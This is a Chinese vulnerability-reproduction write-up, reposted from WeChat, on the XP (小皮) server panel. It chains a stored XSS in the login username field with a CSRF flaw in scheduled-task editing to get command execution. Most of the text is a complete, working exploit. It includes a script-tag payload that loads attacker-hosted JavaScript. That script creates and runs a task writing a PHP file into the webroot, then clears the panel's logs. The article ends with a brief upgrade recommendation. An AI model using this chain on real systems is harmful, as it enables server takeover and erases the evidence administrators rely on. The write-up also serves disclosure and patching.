小皮面板集安全、高效、功能于一体。支持一键LAMP、LNMP、集群、监控、网站、数据库、FTP、软件中心、伪静态、云备份、SSL、多版本共存、Nginx反向代理、服务器防火墙、web防火墙、监控大屏等100多项服务器管理功能。小皮面板登录接口的username参数值存在存储性XSS漏洞,可通过该存储性XSS漏洞将计划任务写入小皮面板服务器,从而达到命令执行效果。
-
V0.1 -
V0.101 -
V0.102
访问
https://www.xp.cn/windows-panel.html
点击立即下载
下载完成后运行安装程序进行安装
安装完成后,桌面生成”小皮面板初始信息.txt”,文本文件中包含面板地址、面板账号密码
访问面板地址
http://:9080/8D92C9
出现以下界面代表安装成功
如图所示,在登录界面用户名栏输入payload:<script>alert(1)</script>,密码栏输入任意,验证码栏输入正确的验证码,输入完毕后点击登录
再次将用户名、密码、验证码栏处输入正确的用户名、密码以及验证码
登录系统后,将触发xss漏洞
漏洞起因是由于操作日志中记录了登录失败的用户名,且输出用户名时未进行html编码
小皮面板后台可以编辑服务器的计划任务,且编辑计划任务处未校验csrf token与referer,所以编辑计划任务处存在csrf漏洞,可利用存储性XSS与csrf漏洞添加计划任务以达到命令执行效果。
构造如下JS文件,JS文件内容为发送创建计划任务请求
function poc(){
$.get('/service/app/tasks.php?type=task_list',{},function(data){
var id=data.data[0].ID;
$.post('/service/app/tasks.php?type=exec_task',{
tid:id
},function(res2){
$.post('/service/app/log.php?type=clearlog',{
},function(res3){},"json");
},"json");
},"json");
}
function save(){
var data=new Object();
data.task_id="";
data.title="test";
data.exec_cycle="1";
data.week="1";
data.day="3";
data.hour="12";
data.minute = "00";
data.shell='echo "<?php phpinfo();?>" >C:/xp.cn/www/wwwroot/admin/localhost_80/wwwroot/1.php';
$.post('/service/app/tasks.php?type=save_shell',data,function(res){
poc();
},'json');
}
save();
将该JS文件放置在小皮面板能够访问到的web应用中
在小皮面板的登录界面构造xss payload
<script src=”http://ip:port/test.js”></script>
输入任意密码与正确的验证码,点击登录
使用正确的账号密码登录小皮面板
如图所示,计划任务列表中新的计划任务被添加
访问
http://ip/1.php
出现phpinfo函数界面
将小皮面板版本升至最新
原文始发于微信公众号(第59号):小皮面板任意命令执行漏洞复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论